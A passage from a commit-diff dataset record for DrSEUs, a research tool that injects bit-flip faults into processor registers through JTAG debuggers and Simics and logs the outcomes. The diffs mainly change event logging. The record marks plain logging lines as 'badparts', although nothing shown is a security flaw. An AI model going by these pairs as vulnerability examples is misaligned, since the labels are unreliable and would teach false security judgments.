result_folder+'/'+self.db.campaign['output_file']\n gold_location = (\n 'campaign-data/'+str(self.db.campaign['id']) +\n '/gold_'+self.db.campaign['output_file'])\n try:\n if self.db.campaign['use_aux_output']:\n self.debugger.aux.get_file(\n self.db.campaign['output_file'], output_location)\n else:\n self.debugger.dut.get_file(\n self.db.campaign['output_file'], output_location)\n except DrSEUsError as error:\n self.db.result['outcome_category'] = 'File transfer error'\n self.db.result['outcome'] = error.type\n if not listdir(result_folder):\n rmtree(result_folder)\n return\n with open(gold_location, 'rb') as solution:\n solutionContents = solution.read()\n with open(output_location, 'rb') as result:\n resultContents = result.read()\n self.db.result['data_diff'] = SequenceMatcher(\n None, solutionContents, resultContents).quick_ratio()\n if self.db.result['data_diff'] == 1.0:\n rmtree(result_folder)\n if self.db.result['detected_errors']:\n self.db.result['outcome_category'] = 'Data error'\n self.db.result['outcome'] = 'Corrected data error'\n else:\n self.db.result['outcome_category'] = 'Data error'\n if self.db.result['detected_errors']:\n self.db.result['outcome'] = 'Detected data error'\n else:\n self.db.result['outcome'] = 'Silent data error'\n try:\n if self.db.campaign['use_aux_output']:\n self.debugger.aux.command('rm ' +\n self.db.campaign['output_file'])\n else:\n self.debugger.dut.command('rm ' +\n self.db.campaign['output_file'])\n except DrSEUsError as error:\n self.db.result['outcome_category'] = 'Post execution error'\n self.db.result['outcome'] = error.type\n return\n\n # def __monitor_execution(self, latent_faults=0, persistent_faults=False):\n if self.db.campaign['aux']:\n try:\n self.debugger.aux.read_until()\n except DrSEUsError as error:\n self.debugger.dut.serial.write('\\x03')\n self.db.result['outcome_category'] = 'AUX execution error'\n self.db.result['outcome'] = error.type\n else:\n if self.db.campaign['kill_dut']:\n self.debugger.dut.serial.write('\\x03')\n try:\n self.debugger.dut.read_until()\n except DrSEUsError as error:\n self.db.result['outcome_category'] = 'Execution error'\n self.db.result['outcome'] = error.type\n if self.db.campaign['output_file'] and \\\n self.db.result['outcome'] == 'Incomplete':\n check_output()\n if self.db.result['outcome'] == 'Incomplete':\n self.db.result['outcome_category'] = 'No error'\n if persistent_faults:\n self.db.result['outcome'] = 'Persistent faults'\n elif latent_faults:\n self.db.result['outcome'] = 'Latent faults'\n else:\n self.db.result['outcome'] = 'Masked faults'\n\n def inject_campaign(self, iteration_counter):\n\n def prepare_dut():\n try:\n self.debugger.reset_dut()\n except DrSEUsError as error:\n self.db.result.update({\n 'outcome_category': 'Debugger error',\n 'outcome': str(error)})\n with self.db as db:\n db.log_result()\n return False\n try:\n self.debugger.dut.serial.timeout = 30\n self.debugger.dut.do_login()\n except DrSEUsError as error:\n self.db.result.update({\n 'outcome_category': 'DUT login error',\n 'outcome': str(error)})\n with self.db as db:\n db.log_result()\n return False\n try:\n self.send_dut_files()\n except DrSEUsError as error:\n self.db.result.update({\n 'outcome_category': str(error),\n 'outcome': 'Error sending files to DUT'})\n with self.db as db:\n db.log_result()\n return False\n if self.db.campaign['aux']:\n self.debugger.aux.write(\n './'+self.db.campaign['aux_command']+'\\n')\n return True\n\n def continue_dut():\n try:\n self.debugger.continue_dut()\n if self.db.campaign['aux']:\n aux_process = Thread(\n target=self.debugger.aux.read_until)\n aux_process.start()\n self.debugger.dut.read_until()\n if self.db.campaign['aux']:\n aux_process.join()\n except DrSEUsError:\n pass\n\n def close_simics():\n try:\n self.debugger.close()\n except DrSEUsError as error:\n self.db.result.update({\n 'outcome_category': 'Simics error',\n 'outcome': str(error)})\n finally:\n rmtree('simics-workspace/injected-checkpoints/' +\n str(self.db.campaign['id'])+'/' +\n str(self.db.result['id']))\n\n def check_latent_faults():\n for i in range(self.options.latent_iterations):\n if self.db.result['outcome'] == 'Latent faults' or \\\n (not self.db.campaign['simics'] and\n self.db.result['outcome'] == 'Masked faults'):\n if self.db.campaign['aux']:\n self.debugger.aux.write(\n './'+self.db.campaign['aux_command']+'\\n')\n self.debugger.dut.write(\n './'+self.db.campaign['command']+'\\n')\n outcome_category = self.db.result['outcome_category']\n outcome = self.db.result['outcome']\n self.__monitor_execution()\n if self.db.result['outcome'] != 'Masked faults':\n self.db.result['outcome_category'] = \\\n 'Post execution error'\n else:\n self.db.result.update({\n 'outcome_category': outcome_category,\n 'outcome': outcome})\n\n # def inject_campaign(self, iteration_counter):\n while True:\n if iteration_counter is not None:\n with iteration_counter.get_lock():\n iteration = iteration_counter.value\n if iteration:\n iteration_counter.value -= 1\n else:\n break\n self.db.result['num_injections'] = self.options.injections\n if not self.db.campaign['simics']:\n if not prepare_dut():\n continue\n try:\n latent_faults, persistent_faults = self.debugger.inject_faults()\n self.debugger.continue_dut()\n except DrSEUsError as error:\n self.db.result['outcome'] = str(error)\n if self.db.campaign['simics']:\n self.db.result['outcome_category'] = 'Simics error'\n else:\n self.db.result['outcome_category'] = 'Debugger error'\n continue_dut()\n else:\n self.__monitor_execution(latent_faults, persistent_faults)\n check_latent_faults()\n self.debugger.dut.flush()\n if self.db.campaign['aux']:\n self.debugger.aux.flush()\n if self.db.campaign['simics']:\n close_simics()\n with self.db as db:\n db.log_result()\n self.close()\n\n def supervise(self, iteration_counter, packet_capture):\n\n def start_packet_capture():\n data_dir = ('campaign-data/'+str(self.db.campaign['id']) +\n '/results/'+str(self.db.result['id']))\n makedirs(data_dir)\n self.capture_file = open(data_dir+'/capture.pcap', 'w')\n self.capture_process = Popen(\n ['ssh', 'p2020', 'tshark -F pcap -i eth1 -w -'],\n stderr=PIPE, stdout=self.capture_file)\n buff = ''\n while True:\n buff += self.capture_process.stderr.read(1)\n if buff[-len('Capturing on \\'eth1\\''):] == \\\n 'Capturing on \\'eth1\\'':\n break\n\n def end_packet_capture():\n check_call(['ssh', 'p2020', 'killall tshark'])\n self.capture_process.wait()\n self.capture_file.close()\n\n # def supervise(self, iteration_counter, packet_capture):\n interrupted = False\n while not interrupted:\n with iteration_counter.get_lock():\n iteration = iteration_counter.value\n if iteration:\n iteration_counter.value -= 1\n else:\n break\n if packet_capture:\n start_packet_capture()\n if self.db.campaign['aux']:\n self.debugger.aux.write('./'+self.db.campaign['aux_command'] +\n '\\n')\n self.debugger.dut.write('./'+self.db.campaign['command']+'\\n')\n try:\n self.__monitor_execution()\n except KeyboardInterrupt:\n if self.db.campaign['simics']:\n self.debugger.continue_dut()\n self.debugger.dut.serial.write('\\x03')\n self.debugger.dut.read_until()\n if self.db.campaign['aux']:\n self.debugger.aux.serial.write('\\x03')\n self.debugger.aux.read_until()\n self.db.result.update({\n 'outcome_category': 'Incomplete',\n 'outcome': 'Interrupted'})\n interrupted = True\n with self.db as db:\n db.log_result()\n if packet_capture:\n end_packet_capture()\n"}, "/jtag.py": {"changes": [{"diff": "\n timeout=self.timeout)\n with self.db as db:\n db.log_event('Information', 'Debugger', 'Connected to telnet',\n- self.options.debugger_ip_address+':'+str(self.port))\n+ self.options.debugger_ip_address+':'+str(self.port),\n+ success=True)\n \n def close(self):\n if self.telnet:\n self.telnet.close()\n with self.db as db:\n- db.log_event('Information', 'Debugger', 'Closed telnet')\n+ db.log_event('Information', 'Debugger', 'Closed telnet',\n+ success=True)\n self.dut.close()\n if self.db.campaign['aux']:\n self.aux.close()\n \n def reset_dut(self, expected_output, attempts):\n+ self.dut.flush()\n if self.telnet:\n for attempt in range(attempts):\n try:\n", "add": 5, "remove": 2, "filename": "/jtag.py", "badparts": [" self.options.debugger_ip_address+':'+str(self.port))", " db.log_event('Information', 'Debugger', 'Closed telnet')"], "goodparts": [" self.options.debugger_ip_address+':'+str(self.port),", " success=True)", " db.log_event('Information', 'Debugger', 'Closed telnet',", " success=True)", " self.dut.flush()"]}, {"diff": "\n raise DrSEUsError(error.type)\n else:\n with self.db as db:\n- db.log_event('Information', 'Debugger', 'Reset DUT')\n+ db.log_event('Information', 'Debugger', 'Reset DUT',\n+ success=True)\n break\n else:\n self.dut.serial.write('\\x03')\n \n def halt_dut(self, halt_command, expected_output):\n+ with self.db as db:\n+ event = db.log_event('Information', 'Debugger', 'Halt DUT',\n+ success=False)\n self.command(halt_command, expected_output, 'Error halting DUT', False)\n with self.db as db:\n- db.log_event('Information', 'Debugger', 'Halt DUT')\n+ db.log_event_success(event)\n \n def continue_dut(self, continue_command):\n+ with self.db as db:\n+ event = db.log_event('Information', 'Debugger', 'Continue DUT',\n+ success=False)\n self.command(continue_command, error_message='Error continuing DUT',\n log_event=False)\n with self.db as db:\n- db.log_event('Information', 'Debugger', 'Continue DUT')\n+ db.log_event_success(event)\n \n def time_application(self):\n+ with self.db as db:\n+ event = db.log_event('Information', 'Debugger', 'Timed application',\n+ success=False, campaign=True)\n start = time()\n for i in range(self.options.iterations):\n if self.db.campaign['aux']:\n", "add": 13, "remove": 3, "filename": "/jtag.py", "badparts": [" db.log_event('Information', 'Debugger', 'Reset DUT')", " db.log_event('Information', 'Debugger', 'Halt DUT')", " db.log_event('Information', 'Debugger', 'Continue DUT')"], "goodparts": [" db.log_event('Information', 'Debugger', 'Reset DUT',", " success=True)", " with self.db as db:", " event = db.log_event('Information', 'Debugger', 'Halt DUT',", " success=False)", " db.log_event_success(event)", " with self.db as db:", " event = db.log_event('Information', 'Debugger', 'Continue DUT',", " success=False)", " db.log_event_success(event)", " with self.db as db:", " event = db.log_event('Information', 'Debugger', 'Timed application',", " success=False, campaign=True)"]}, {"diff": "\n self.db.campaign['exec_time'] = \\\n (end - start) / self.options.iterations\n with self.db as db:\n- db.log_event('Information', 'Debugger', 'Timed application',\n- campaign=True)\n+ db.log_event_success(event)\n \n def inject_faults(self):\n injection_times = []\n", "add": 1, "remove": 2, "filename": "/jtag.py", "badparts": [" db.log_event('Information', 'Debugger', 'Timed application',", " campaign=True)"], "goodparts": [" db.log_event_success(event)"]}, {"diff": "\n self.targets[target]['registers'][register]['bits']\n else:\n num_bits_to_inject = 32\n- injection['bit'] = randrange(num_bits_to_inject)\n+ bit_to_inject = randrange(num_bits_to_inject)\n+ if 'adjust_bit' in \\\n+ self.targets[target]['registers'][register]:\n+ bit_to_inject = (self.targets[target]['registers']\n+ [register]['adjust_bit']\n+ [bit_to_inject])\n+ if 'fields' in self.targets[target]['registers'][register]:\n+ for field_name, field_bounds in \\\n+ (self.targets[target]['registers']\n+ [register]['fields'].items()):\n+ if bit_to_inject in range(field_bounds[0],\n+ field_bounds[1]+1):\n+ injection['field'] = field_name\n+ break\n+ else:\n+ with self.db as db:\n+ db.log_event('Warning', 'Debugger',\n+ 'Error finding register field name',\n+ 'target: '+target+', register: '+register +\n+ ', bit: '+str(bit_to_inject))\n+ injection['bit'] = bit_to_inject\n injection['injected_value'] = hex(\n int(injection['gold_value'], base=16) ^ (1 << injection['bit']))\n+ with self.db as db:\n+ db.insert('injection', injection)\n if self.options.debug:\n print(colored('target: '+target, 'magenta'))\n if 'target_index' in injection:\n", "add": 23, "remove": 1, "filename": "/jtag.py", "badparts": [" injection['bit'] = randrange(num_bits_to_inject)"], "goodparts": [" bit_to_inject = randrange(num_bits_to_inject)", " if 'adjust_bit' in \\", " self.targets[target]['registers'][register]:", " bit_to_inject = (self.targets[target]['registers']", " [register]['adjust_bit']", " [bit_to_inject])", " if 'fields' in self.targets[target]['registers'][register]:", " for field_name, field_bounds in \\", " (self.targets[target]['registers']", " [register]['fields'].items()):", " if bit_to_inject in range(field_bounds[0],", " field_bounds[1]+1):", " injection['field'] = field_name", " break", " else:", " with self.db as db:", " db.log_event('Warning', 'Debugger',", " 'Error finding register field name',", " 'target: '+target+', register: '+register +", " ', bit: '+str(bit_to_inject))", " injection['bit'] = bit_to_inject", " with self.db as db:", " db.insert('injection', injection)"]}, {"diff": "\n base=16):\n injection['success'] = True\n with self.db as db:\n- db.insert('injection', injection)\n- db.log_event('Information', 'Debugger', 'Fault injected')\n+ db.update('injection', injection)\n+ db.log_event('Information', 'Debugger', 'Fault injected',\n+ success=True)\n else:\n self.set_mode()\n self.set_register_value(\n register, target, target_index, injection['injected_value'])\n self.set_mode(injection['processor_mode'])\n- injection['success'] = False\n if int(injection['injected_value'], base=16) == \\\n int(self.get_register_value(register, target, target_index),\n base=16):\n+ injection['success'] = True\n with self.db as db:\n- db.insert('injection', injection)\n- db.log_event('Warning', 'Debugger',\n- 'Fault injected as supervisor')\n+ db.update('injection', injection)\n+ db.log_event('Information', 'Debugger',\n+ 'Fault injected as supervisor',\n+ success=True)\n else:\n with self.db as db:\n- db.insert('injection', injection)\n- db.log_event('Warning', 'Debugger', 'Injection failed')\n+ db.log_event('Error', 'Debugger', 'Injection failed',\n+ success=False)\n return 0, False\n \n def command(self, command, expected_output, error_message,\n", "add": 10, "remove": 8, "filename": "/jtag.py", "badparts": [" db.insert('injection', injection)", " db.log_event('Information', 'Debugger', 'Fault injected')", " injection['success'] = False", " db.insert('injection', injection)", " db.log_event('Warning', 'Debugger',", " 'Fault injected as supervisor')", " db.insert('injection', injection)", " db.log_event('Warning', 'Debugger', 'Injection failed')"], "goodparts": [" db.update('injection', injection)", " db.log_event('Information', 'Debugger', 'Fault injected',", " success=True)", " injection['success'] = True", " db.update('injection', injection)", " db.log_event('Information', 'Debugger',", " 'Fault injected as supervisor',", " success=True)", " db.log_event('Error', 'Debugger', 'Injection failed',", " success=False)"]}, {"diff": "\n else None))\n if options.command != 'openocd':\n with database as db:\n- db.log_event('Information', 'Debugger', 'Launched openocd')\n+ db.log_event('Information', 'Debugger', 'Launched openocd',\n+ success=True)\n super().__init__(database, options)\n if options.jtag:\n sleep(1)\n", "add": 2, "remove": 1, "filename": "/jtag.py", "badparts": [" db.log_event('Information', 'Debugger', 'Launched openocd')"], "goodparts": [" db.log_event('Information', 'Debugger', 'Launched openocd',", " success=True)"]}, {"diff": "\n super().close()\n self.openocd.wait()\n with self.db as db:\n- db.log_event('Information', 'Debugger', 'Closed openocd')\n+ db.log_event('Information', 'Debugger', 'Closed openocd',\n+ success=True)\n \n def command(self, command, expected_output=[], error_message=None,\n log_event=True):\n", "add": 2, "remove": 1, "filename": "/jtag.py", "badparts": [" db.log_event('Information', 'Debugger', 'Closed openocd')"], "goodparts": [" db.log_event('Information', 'Debugger', 'Closed openocd',", " success=True)"]}], "source": "\nfrom pyudev import Context from telnetlib import Telnet from termcolor import colored from threading import Thread from time import sleep, time from random import randrange, uniform from socket import AF_INET, SOCK_STREAM, socket from subprocess import DEVNULL, Popen from dut import dut from error import DrSEUsError from jtag_targets import devices from targets import choose_register, choose_target zedboards={'844301CF3718': '210248585809', '8410A3D8431C': '210248657631', '036801551E13': '210248691084', '036801961420': '210248691092'} def find_ftdi_serials(): debuggers=Context().list_devices(ID_VENDOR_ID='0403', ID_MODEL_ID='6014') serials=[] for debugger in debuggers: if 'DEVLINKS' not in debugger: serials.append(debugger['ID_SERIAL_SHORT']) return serials def find_uart_serials(): uarts=Context().list_devices(ID_VENDOR_ID='04b4', ID_MODEL_ID='0008') serials={} for uart in uarts: if 'DEVLINKS' in uart: serials[uart['DEVNAME']]=uart['ID_SERIAL_SHORT'] return serials class jtag(object): def __init__(self, database, options): self.db=database self.options=options self.timeout=30 self.prompts=[bytes(prompt, encoding='utf-8') for prompt in self.prompts] if options.command=='inject' and options.selected_targets is not None: for target in options.selected_targets: if target not in self.targets: raise Exception('invalid injection target: '+target) self.dut=dut(database, options) if database.campaign['aux']: self.aux=dut(database, options, aux=True) def __str__(self): string='JTAG Debugger at '+self.options.debugger_ip_address try: string +=' port '+str(self.port) except AttributeError: pass return string def connect_telnet(self): self.telnet=Telnet(self.options.debugger_ip_address, self.port, timeout=self.timeout) with self.db as db: db.log_event('Information', 'Debugger', 'Connected to telnet', self.options.debugger_ip_address+':'+str(self.port)) def close(self): if self.telnet: self.telnet.close() with self.db as db: db.log_event('Information', 'Debugger', 'Closed telnet') self.dut.close() if self.db.campaign['aux']: self.aux.close() def reset_dut(self, expected_output, attempts): if self.telnet: for attempt in range(attempts): try: self.command('reset', expected_output, 'Error resetting DUT', False) except DrSEUsError as error: with self.db as db: db.log_event(('Warning' if attempt < attempts-1 else 'Error'), 'Debugger', 'Error resetting DUT', db.log_exception) print(colored( self.dut.serial.port+': Error resetting DUT(attempt' ' '+str(attempt+1)+'/'+str(attempts)+')', 'red')) if attempt < attempts-1: sleep(30) else: raise DrSEUsError(error.type) else: with self.db as db: db.log_event('Information', 'Debugger', 'Reset DUT') break else: self.dut.serial.write('\\x03') def halt_dut(self, halt_command, expected_output): self.command(halt_command, expected_output, 'Error halting DUT', False) with self.db as db: db.log_event('Information', 'Debugger', 'Halt DUT') def continue_dut(self, continue_command): self.command(continue_command, error_message='Error continuing DUT', log_event=False) with self.db as db: db.log_event('Information', 'Debugger', 'Continue DUT') def time_application(self): start=time() for i in range(self.options.iterations): if self.db.campaign['aux']: aux_process=Thread( target=self.aux.command, args=('./'+self.db.campaign['aux_command'],)) aux_process.start() dut_process=Thread( target=self.dut.command, args=('./'+self.db.campaign['command'],)) dut_process.start() if self.db.campaign['aux']: aux_process.join() if self.db.campaign['kill_dut']: self.dut.serial.write('\\x03') dut_process.join() end=time() self.db.campaign['exec_time']=\\ (end -start) / self.options.iterations with self.db as db: db.log_event('Information', 'Debugger', 'Timed application', campaign=True) def inject_faults(self): injection_times=[] for i in range(self.options.injections): injection_times.append(uniform(0, self.db.campaign['exec_time'])) injection_times=sorted(injection_times) for injection, injection_time in enumerate(injection_times, start=1): if self.options.debug: print(colored('injection time: '+str(injection_time), 'magenta')) if injection==1: self.dut.write('./'+self.db.campaign['command']+'\\n') else: self.continue_dut() sleep(injection_time) self.halt_dut() mode=self.get_mode() target=choose_target(self.options.selected_targets, self.targets) register=choose_register(target, self.targets) injection={'injection_number': injection, 'processor_mode': mode, 'register': register, 'result_id': self.db.result['id'], 'target': target, 'time': injection_time, 'timestamp': None} if ':' in target: injection['target_index']=target.split(':')[1] target_index=int(injection['target_index']) target=target.split(':')[0] injection['target']=target else: target_index=0 if 'memory_mapped' not in self.targets[target] or \\ not self.targets[target]['memory_mapped']: self.select_core(target_index) if 'access' in self.targets[target]['registers'][register]: injection['register_access']=\\ self.targets[target]['registers'][register]['access'] injection['gold_value']=\\ self.get_register_value(register, target, target_index) if 'bits' in self.targets[target]['registers'][register]: num_bits_to_inject=\\ self.targets[target]['registers'][register]['bits'] else: num_bits_to_inject=32 injection['bit']=randrange(num_bits_to_inject) injection['injected_value']=hex( int(injection['gold_value'], base=16) ^(1 << injection['bit'])) if self.options.debug: print(colored('target: '+target, 'magenta')) if 'target_index' in injection: print(colored('target_index: '+str(target_index), 'magenta')) print(colored('register: '+register, 'magenta')) print(colored('bit: '+str(injection['bit']), 'magenta')) print(colored('gold value: '+injection['gold_value'], 'magenta')) print(colored('injected value: ' + injection['injected_value'], 'magenta')) self.set_register_value( register, target, target_index, injection['injected_value']) if int(injection['injected_value'], base=16)==\\ int(self.get_register_value(register, target, target_index), base=16): injection['success']=True with self.db as db: db.insert('injection', injection) db.log_event('Information', 'Debugger', 'Fault injected') else: self.set_mode() self.set_register_value( register, target, target_index, injection['injected_value']) self.set_mode(injection['processor_mode']) injection['success']=False if int(injection['injected_value'], base=16)==\\ int(self.get_register_value(register, target, target_index), base=16): with self.db as db: db.insert('injection', injection) db.log_event('Warning', 'Debugger', 'Fault injected as supervisor') else: with self.db as db: db.insert('injection', injection) db.log_event('Warning', 'Debugger', 'Injection failed') return 0, False def command(self, command, expected_output, error_message, log_event, line_ending, echo): if log_event: with self.db as db: event=db.log_event('Information', 'Debugger', 'Command', command, success=False) expected_output=[bytes(output, encoding='utf-8') for output in expected_output] return_buffer='' if error_message is None: error_message=command buff=self.telnet.read_very_eager().decode('utf-8', 'replace') if self.db.result: self.db.result['debugger_output'] +=buff else: self.db.campaign['debugger_output'] +=buff if self.options.debug: print(colored(buff, 'yellow')) if command: self.telnet.write(bytes(command+line_ending, encoding='utf-8')) if echo: index, match, buff=self.telnet.expect( [bytes(command, encoding='utf-8')], timeout=self.timeout) buff=buff.decode('utf-8', 'replace') else: buff=command+'\\n' if self.db.result: self.db.result['debugger_output'] +=buff else: self.db.campaign['debugger_output'] +=buff if self.options.debug: print(colored(buff, 'yellow')) if echo and index < 0: raise DrSEUsError(error_message) for i in range(len(expected_output)): index, match, buff=self.telnet.expect(expected_output, timeout=self.timeout) buff=buff.decode('utf-8', 'replace') if self.db.result: self.db.result['debugger_output'] +=buff else: self.db.campaign['debugger_output'] +=buff return_buffer +=buff if self.options.debug: print(colored(buff, 'yellow'), end='') if index < 0: raise DrSEUsError(error_message) else: if self.options.debug: print() index, match, buff=self.telnet.expect(self.prompts, timeout=self.timeout) buff=buff.decode('utf-8', 'replace') if self.db.result: self.db.result['debugger_output'] +=buff else: self.db.campaign['debugger_output'] +=buff return_buffer +=buff if self.options.debug: print(colored(buff, 'yellow')) with self.db as db: if self.db.result: db.update('result') else: db.update('campaign') if index < 0: raise DrSEUsError(error_message) for message in self.error_messages: if message in return_buffer: raise DrSEUsError(error_message) if log_event: with self.db as db: db.log_event_success(event) return return_buffer class bdi(jtag): error_messages=['syntax error in command', 'timeout while waiting for halt', 'wrong state for requested command', 'read access failed'] def __init__(self, database, options): self.port=23 super().__init__(database, options) if options.jtag: self.connect_telnet() def __str__(self): string=('BDI3000 at '+self.options.debugger_ip_address + ' port '+str(self.port)) return string def close(self): if self.telnet: self.telnet.write(bytes('quit\\r', encoding='utf-8')) super().close() def reset_bdi(self): with self.db as db: event=db.log_event('Warning', 'Debugger', 'Reset BDI', success=False) self.telnet.write(bytes('boot\\r\\n', encoding='utf-8')) self.telnet.close() if self.db.result: self.db.result['debugger_output'] +='boot\\n' else: self.db.campaign['debugger_output'] +='boot\\n' sleep(1) self.connect_telnet() sleep(1) self.command(None, error_message='', log_event=False) with self.db as db: db.log_event_success(event) def reset_dut(self, expected_output, attempts): try: super().reset_dut(expected_output, 1) except DrSEUsError: self.reset_bdi() super().reset_dut(expected_output, max(attempts-1, 1)) def get_mode(self): pass def set_mode(self, mode='supervisor'): pass def command(self, command, expected_output=[], error_message=None, log_event=True): return super().command(command, expected_output, error_message, log_event, '\\r\\n', False) def get_register_value(self, register, target, target_index): if 'memory_mapped' in self.targets[target] and \\ self.targets[target]['memory_mapped']: command='md' if 'bits' in self.targets[target]['registers'][register]: bits=self.targets[target]['registers'][register]['bits'] if bits==8: command +='b' elif bits==16: command +='h' elif bits==64: command +='d' address=self.targets[target]['base'][target_index] +\\ self.targets[target]['registers'][register]['offset'] buff=self.command(command+' '+hex(address)+' 1',[':'], 'Error getting register value') else: buff=self.command('rd '+register,[':'], 'Error getting register value') return buff.split('\\r')[0].split(':')[1].split()[0] def set_register_value(self, register, target, target_index, value): if 'memory_mapped' in self.targets[target] and \\ self.targets[target]['memory_mapped']: command='mm' if 'bits' in self.targets[target]['registers'][register]: bits=self.targets[target]['registers'][register]['bits'] if bits==8: command +='b' elif bits==16: command +='h' elif bits==64: command +='d' address=self.targets[target]['base'][target_index] +\\ self.targets[target]['registers'][register]['offset'] self.command(command+' '+hex(address)+' '+value+' 1', error_message='Error getting register value') else: self.command('rm '+register+' '+value, error_message='Error setting register value') class bdi_arm(bdi): def __init__(self, database, options): self.prompts=['A9 self.targets=devices['a9_bdi'] super().__init__(database, options) def reset_dut(self, attempts=5): super().reset_dut([ '-TARGET: processing reset request', '-TARGET: BDI removes TRST', '-TARGET: Bypass check', '-TARGET: JTAG exists check passed', '-TARGET: BDI removes RESET', '-TARGET: BDI waits for RESET inactive', '-TARGET: Reset sequence passed', '-TARGET: resetting target passed', '-TARGET: processing target startup \\.\\.\\.\\.', '-TARGET: processing target startup passed'], attempts) def halt_dut(self): super().halt_dut('halt 3',[ '-TARGET: core '-TARGET: core def continue_dut(self): super().continue_dut('cont 3') def select_core(self, core): self.command('select '+str(core),['Core number', 'Core state', 'Debug entry cause', 'Current PC', 'Current CPSR'], 'Error selecting core') class bdi_p2020(bdi): def __init__(self, database, options): self.prompts=['P2020>'] self.targets=devices['p2020'] super().__init__(database, options) def reset_dut(self, attempts=5): super().reset_dut([ '-TARGET: processing user reset request', '-BDI asserts HRESET', '-Reset JTAG controller passed', '-JTAG exists check passed', '-BDI removes HRESET', '-TARGET: resetting target passed', '-TARGET: processing target startup \\.\\.\\.\\.', '-TARGET: processing target startup passed'], attempts) def halt_dut(self): super().halt_dut('halt 0 1',[ '-TARGET: core '-TARGET: core def continue_dut(self): super().continue_dut('go 0 1') def select_core(self, core): self.command('select '+str(core),['Target CPU', 'Core state', 'Debug entry cause'], 'Error selecting core') class openocd(jtag): error_messages=['Timeout', 'Target not examined yet'] modes={'10000': 'usr', '10001': 'fiq', '10010': 'irq', '10011': 'svc', '10110': 'mon', '10111': 'abt', '11010': 'hyp', '11011': 'und', '11111': 'sys'} def __init__(self, database, options): def find_open_port(): sock=socket(AF_INET, SOCK_STREAM) sock.bind(('', 0)) port=sock.getsockname()[1] sock.close() return port options.debugger_ip_address='127.0.0.1' self.prompts=['>'] self.targets=devices['a9'] self.port=find_open_port() if options.jtag: serial=zedboards[find_uart_serials()[options.dut_serial_port]] self.openocd=Popen(['openocd', '-c', 'gdb_port 0; tcl_port 0; telnet_port ' + str(self.port)+'; interface ftdi; ftdi_serial' ' '+serial+';', '-f', 'openocd_zedboard.cfg'], stderr=(DEVNULL if options.command !='openocd' else None)) if options.command !='openocd': with database as db: db.log_event('Information', 'Debugger', 'Launched openocd') super().__init__(database, options) if options.jtag: sleep(1) self.connect_telnet() def __str__(self): string='OpenOCD at localhost port '+str(self.port) return string def close(self): self.telnet.write(bytes('shutdown\\n', encoding='utf-8')) super().close() self.openocd.wait() with self.db as db: db.log_event('Information', 'Debugger', 'Closed openocd') def command(self, command, expected_output=[], error_message=None, log_event=True): return super().command(command, expected_output, error_message, log_event, '\\n', True) def reset_dut(self, attempts=10): super().reset_dut( ['JTAG tap: zynq.dap tap/device found: 0x4ba00477'], attempts) def halt_dut(self): super().halt_dut('halt',['target state: halted']*2) def continue_dut(self): super().continue_dut('resume') def select_core(self, core): self.command('targets zynq.cpu'+str(core), error_message='Error selecting core') def get_mode(self): cpsr=int(self.get_register_value('cpsr', 'CPU', None), base=16) return self.modes[str(bin(cpsr))[-5:]] def set_mode(self, mode='svc'): modes={value: key for key, value in self.modes.items()} mask=modes[mode] cpsr=int(self.get_register_value('cpsr', 'CPU', None), base=16) self.set_register_value('cpsr', 'CPU', None, hex(int(str(bin(cpsr))[:-5]+mask, base=2))) def get_register_value(self, register, target, target_index): if target=='CP': buff=self.command( ' '.join([ 'arm', 'mrc', str(self.targets[target]['registers'][register]['CP']), str(self.targets[target]['registers'][register]['Op1']), str(self.targets[target]['registers'][register]['CRn']), str(self.targets[target]['registers'][register]['CRm']), str(self.targets[target]['registers'][register]['Op2'])]), error_message='Error getting register value') return hex(int(buff.split('\\n')[1].strip())) else: buff=self.command('reg '+register,[':'], 'Error getting register value') return \\ buff.split('\\n')[1].split(':')[1].split()[0] def set_register_value(self, register, target, target_index, value): if target=='CP': self.command( ' '.join([ 'arm', 'mrc', str(self.targets[target]['registers'][register]['CP']), str(self.targets[target]['registers'][register]['Op1']), str(self.targets[target]['registers'][register]['CRn']), str(self.targets[target]['registers'][register]['CRm']), str(self.targets[target]['registers'][register]['Op2']), value]), error_message='Error setting register value') else: self.command('reg '+register+' '+value, error_message='Error setting register value') ", "sourceWithComments": "from pyudev import Context\nfrom telnetlib import Telnet\nfrom termcolor import colored\nfrom threading import Thread\nfrom time import sleep, time\nfrom random import randrange, uniform\nfrom socket import AF_INET, SOCK_STREAM, socket\nfrom subprocess import DEVNULL, Popen\n\nfrom dut import dut\nfrom error import DrSEUsError\nfrom jtag_targets import devices\nfrom targets import choose_register, choose_target\n\n# zedboards[uart_serial] = ftdi_serial\nzedboards = {'844301CF3718': '210248585809',\n '8410A3D8431C': '210248657631',\n '036801551E13': '210248691084',\n '036801961420': '210248691092'}\n\n\ndef find_ftdi_serials():\n debuggers = Context().list_devices(ID_VENDOR_ID='0403', ID_MODEL_ID='6014')\n serials = []\n for debugger in debuggers:\n if 'DEVLINKS' not in debugger:\n serials.append(debugger['ID_SERIAL_SHORT'])\n return serials\n\n\ndef find_uart_serials():\n uarts = Context().list_devices(ID_VENDOR_ID='04b4', ID_MODEL_ID='0008')\n serials = {}\n for uart in uarts:\n if 'DEVLINKS' in uart:\n serials[uart['DEVNAME']] = uart['ID_SERIAL_SHORT']\n return serials\n\n\nclass jtag(object):\n def __init__(self, database, options):\n self.db = database\n self.options = options\n self.timeout = 30\n self.prompts = [bytes(prompt, encoding='utf-8')\n for prompt in self.prompts]\n if options.command == 'inject' and options.selected_targets is not None:\n for target in options.selected_targets:\n if target not in self.targets:\n raise Exception('invalid injection target: '+target)\n self.dut = dut(database, options)\n if database.campaign['aux']:\n self.aux = dut(database, options,\n aux=True)\n\n def __str__(self):\n string = 'JTAG Debugger at '+self.options.debugger_ip_address\n try:\n string += ' port '+str(self.port)\n except AttributeError:\n pass\n return string\n\n def connect_telnet(self):\n self.telnet = Telnet(self.options.debugger_ip_address, self.port,\n timeout=self.timeout)\n with self.db as db:\n db.log_event('Information', 'Debugger', 'Connected to telnet',\n self.options.debugger_ip_address+':'+str(self.port))\n\n def close(self):\n if self.telnet:\n self.telnet.close()\n with self.db as db:\n db.log_event('Information', 'Debugger', 'Closed telnet')\n self.dut.close()\n if self.db.campaign['aux']:\n self.aux.close()\n\n def reset_dut(self, expected_output, attempts):\n if self.telnet:\n for attempt in range(attempts):\n try:\n self.command('reset', expected_output,\n 'Error resetting DUT', False)\n except DrSEUsError as error:\n with self.db as db:\n db.log_event(('Warning' if attempt < attempts-1\n else 'Error'), 'Debugger',\n 'Error resetting DUT', db.log_exception)\n print(colored(\n self.dut.serial.port+': Error resetting DUT (attempt'\n ' '+str(attempt+1)+'/'+str(attempts)+')', 'red'))\n if attempt < 